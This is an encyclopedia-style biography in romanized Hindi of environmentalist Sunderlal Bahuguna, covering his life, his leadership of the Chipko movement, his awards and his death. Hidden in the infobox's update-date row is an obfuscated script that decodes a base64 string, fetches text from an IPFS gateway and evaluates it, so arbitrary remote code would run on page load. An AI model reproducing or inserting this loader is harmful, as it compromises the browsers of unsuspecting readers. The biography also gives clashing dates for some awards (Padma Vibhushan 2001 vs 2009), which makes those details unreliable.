सुन्दरलाल बहुगुणा
sundaralal bahuguna
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| poora nam | sundaralal bahuguna |
| janm | 9 janavari, 1927 |
| janm bhoomi | silayara, uttarakhand |
| mrityu | 21 mee, 2021 |
| mrityu sthan | rrishikesh |
| abhibhavak | ambadatt bahuguna, poorna devi |
| pati/patni | vimala nautiyal |
| santan | rajivanayan bahuguna, madhuri pathak, pradip bahuguna |
| nagarikata | bharatiy |
| shiksha | bi.e., em.e. (apoorn) |
| puraskar-upadhi | padmashri, padm vibhooshan, rashtriy ekata puraskar, rait laiv lihud puraskar (chipako aandolan), jamanalal bajaj puraskar aur samajik vijnan ke d aauktar ki manad upadhi aeeaeeti ru daki dvara |
| vishesh yogadan | chipako andolan ke pramukh neta |
| kary kshetr | samajik karyakarta, gaandhivadi |
| adyatan | 19:49, 7 julaee 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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sundaralal bahuguna (aangrezi: Sunderlal Bahuguna, janm- 9 janavari, 1927; mrityu- 21 mee, 2021) prasiddh paryavaranavid aur 'chipako andolan' ke pramukh neta the. inhean san 1984 ke 'rashtriy ekata puraskar' se sammanit kiya gaya tha. sundaralal bahuguna ke anusar, "pe doan ko katane ki apeksha unhean lagana ati mahatvapoorn hai". san 1949 mean miraben v thakkar bappa ke sampark mean ane ke bad sundaralal bahuguna dalit varg ke vidyarthiyoan ke utthan ke lie prayasarat ho ge tatha unake lie tihari mean 'thakkar bappa hostal' ki sthapana bhi ki. dalitoan ko mandir pravesh ka adhikar dilane ke lie bhi unhoanne andolan chhe d diya tha.
parichay
sundaralal bahuguna ka janm 9 janavari, san 1927 ko devoan ki bhoomi uttarakhand ke silayara namak sthan par hua tha. prathamik shiksha ke bad ve lahaur chale ge aur vahian se unhoanne kala snatak kiya tha. apani patni shrimati vimala nautiyal ke sahayog se inhoanne silayara mean hi 'parvatiy navajivan mandal' ki sthapana bhi ki. san 1949 mean miraben v thakkar bappa ke sampark mean ane ke bad ye dalit varg ke vidyarthiyoan ke utthan ke lie prayasarat ho ge tatha unake lie tihari mean thakkar bappa hostal ki sthapana bhi ki. dalitoan ko mandir pravesh ka adhikar dilane ke lie unhoanne andolan chhe d diya. silayara mean hi 'parvatiy navajivan mandal' ki sthapana ki . 1971 mean sundaralal bahuguna ne solah din tak anashan kiya. chipako andolan ke karan ve vishvabhar mean vrikshamitr ke nam se prasiddh ho ge.
paryavaran sanrakshan ke pratik
n sirph desh balki duniya mean prakriti aur paryavaran sanrakshan ke b de pratik mean shumar suandaralal bahuguna ne 1972 mean chipako aandolan ko dhar di. sath hi desh-duniya ko vanoan ke sanrakshan ke lie prerit kiya. parinamasvaroop chipako aandolan ki gooanj samoochi duniya mean sunaee p di. bahuayami vyaktitv ke dhani bahuguna ka nadiyoan, vanoan v prakriti se behad gahara ju dav tha. vah paristhitiki ko sabase b di arthiki manate the. yahi vajah bhi hai ki vah uttarakhand mean bijali ki jaroorat poori karane ke lie chhoti-chhoti pariyojanaoan ke pakshadhar the. isilie vah tihari baandh jaisi b di pariyojanaoan ke pakshadhar nahian the. ise lekar unhoanne vrihad aandolan shuroo kar alakh jagaee thi.
unaka nara tha- 'dhar aianch dala, bijali banava khala-khala.' yani ooanchaee vale kshetroan mean pe d lagaiye aur nichale sthanoan par chhoti-chhoti pariyojanaoan se bijali banaiye. sada jivan uchch vichar ko atmasat karate hue vah jivan paryant prakriti, nadiyoan v vanoan ke sanrakshan ki muhim mean jute rahe. bahuguna hi vah shakhs the, jinhoanne achchhe aur bure paudhoan mean phark karana sikhaya.
kya hai chipako aandolan?
san 1962 mean chin se yuddh ke bad bharat sarakar ne tibbat sima par apani paith majaboot karane ki taiyari ki. kashmir se arunachal pradesh tak b aaurdar ke ilakoan mean s dakean banane ka kam shuroo hua. us vakt uttar pradesh (ab uttarakhand) ke ilake mean ane vale chamoli jile mean bhi s dak nirman ki prakriya shuroo huee. s dak banani thi to jamin chahie thi aur paha d ke jangal vale ilakoan mean bina pe doan ko kate jamin kaise milati. aise mean b de paimane par jangal ki kataee shuroo huee. san 1972 ate-ate ye kataee kafi tej ho gee. pe doan ko katane ka sthaniy logoan ne virodh kiya. suandaralal bahuguna aur chandi prasad bhatt jaise log virodh mean samane a ge. ilake ki mahilaean bhi jangal kataee ke khilaph utar aeean. jagah-jagah mahila mangal dal ban ge. raini gaanv mean bhi mahila mangal dal bana. gaura devi ko isaka adhyaksh banaya gaya. mahila mangal dal ki mahilaean ghar-ghar ghoomakar logoan ko pe doan ka mahatv samajhatian aur paryavaran ke lie jagarook karatian.
san 1973 ki shuruat mean tay hua ki raini gaanv ke dhaee hajar pe d kate jaeange. isake virodh mean poora gaanv kh da ho gaya. 23 march 1973 ko pe doan ki kataee ke virodh mean raili nikali gee. lekin is sabaka sarakar par koee asar nahian p da. pe d katane ka theka bhi de diya gaya. thekedar pe d katane pahuanch ge. tabhi gaura devi ke netritv mean raini gaanv ki mahilaean pe doan se chipak geean. unaka kahana tha- "pahale hamean kato, phir pe d ko katana". natijatan pe doan ko katane ka pharaman sarakar ko vapas lena p da. isake bad pe doan se chipakakar unhean bachane ka ye abhiyan asapas ke ilakoan mean bhi phail gaya. ise 'chipako aandolan' kaha gaya. suandaralal bahuguna aur chandi prasad bhatt jaise paryavaranavid pe doan se chipakakar unhean bachane ke is poore aandolan ka netritv karane lage. age chalakar yah aandolan desh-duniya mean prasiddh ho gaya. poori duniya ke paryavaran premi aur paryavaran sanrakshan mean lage log isase prerit hue.
is aandolan ka asar yah hua ki tatkalin pradhanamantri iandira gaandhi ko 'van sanrakshan kanoon' lana p da. isake jarie is ilake mean pe doan ki kataee par 15 sal ke lie bain laga diya gaya. yahaan tak ki kendr sarakar ne alag se 'van evan paryavaran mantralay' bhi bana diya.
puraskar
[[chitr:Sundarlal.jpg|thumb|left|pradhanamantri manamohan sianh ke sath sundaralal bahuguna]]
- bahuguna ke karyoan se prabhavit hokar amerika ki phreand aauph nechar namak sanstha ne 1980 mean inako puraskrit kiya. isake alava unhean kee sare puraskaroan se sammanit kiya gaya . paryavaran ko sthaee sampati manane vala yah mahapurush 'paryavaran gaandhi' ban gaya. antarrashtriy manyata ke roop mean 1981 mean stakahom ka vaikalpik nobel puraskar mila.
- sundaralal bahuguna ko san 1981 mean padmashri puraskar diya gaya jise unhoanne yah kah kar svikar nahian kiya ki jab tak pe doan ki kataee jari hai, maian apane ko is samman ke yogy nahian samajhata hooan.
- 1985 mean jamanalal bajaj puraskar.
- rachanatmak kary ke lie san 1986 mean jamanalal bajaj puraskar,
- 1987 mean rait laivalihud puraskar (chipako aandolan),
- 1987 mean sher-e-kashmir puraskar
- 1987 mean sarasvati samman
- 1989 samajik vijnan ke d aauktar ki manad upadhi aeeaeeti ru daki dvara
- 1998 mean pahal samman
- 1999 mean gaandhi seva samman
- 2000 mean saansadoan ke phoram dvara satyapal mittal evard
- san 2001 mean padm vibhooshan se sammanit kiya gaya.[1]
mrityu
sundaralal bahuguna ka nidhan 21 mee, 2021 (shukravar) ko rrishikesh sthit 'akhil bharatiy ayurvijnan sansthan' (ems) mean hua. vah 94 varsh ke the aur pichhale dinoan se kovid-19 se sankramit the.
uttarakhand ke mukhyamantri tirath sianh ravat ne tvit kiya, 'chipako aandolan ke praneta, vishv mean 'vrikshamitr' ke nam se prasiddh mahan paryavaranavidh padm vibhooshan shri suandaralal bahuguna ji ke nidhan ka atyant pi dadayak samachar mila hai. yah khabar sunakar man behad vyathit hai. yah sirph uttarakhand ke lie nahian, balki sanpoorn desh ke lie apooraniy kshati hai'. unhoanne apane tvit mean age kaha, 'paryavaran sanrakshan ke kshetr mean die ge mahatvapoorn yogadan ke lie unhean 1986 mean 'jamanalal bajaj puraskar' aur 2009 mean 'padm vibhooshan' se sammanit kiya gaya tha. paryavaran sanrakshan ke maidan mean shri suandaralal bahuguna ji ke karyoan ko itihas mean sunahare aksharoan mean likha jaega'.
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tika tippani aur sandarbh
- ↑ sundaralal bahuguna (hiandi). . abhigaman tithi: 6 janavari, 2014.
bahari k diyaan
chitr vithika
- chitr:Sundar lal.jpg
purani tasvir
- chitr:Sundar lal 1.jpg
suandaralal bahuguna aur gangotri garbyal
- chitr:Sundar lal 2.jpg
tibbat sima ke nikat panchachuli pik yatra ke dauran putr rajivanayan bahuguna ke sath
sanbandhit lekh
varnamala kramanusar lekh khoj
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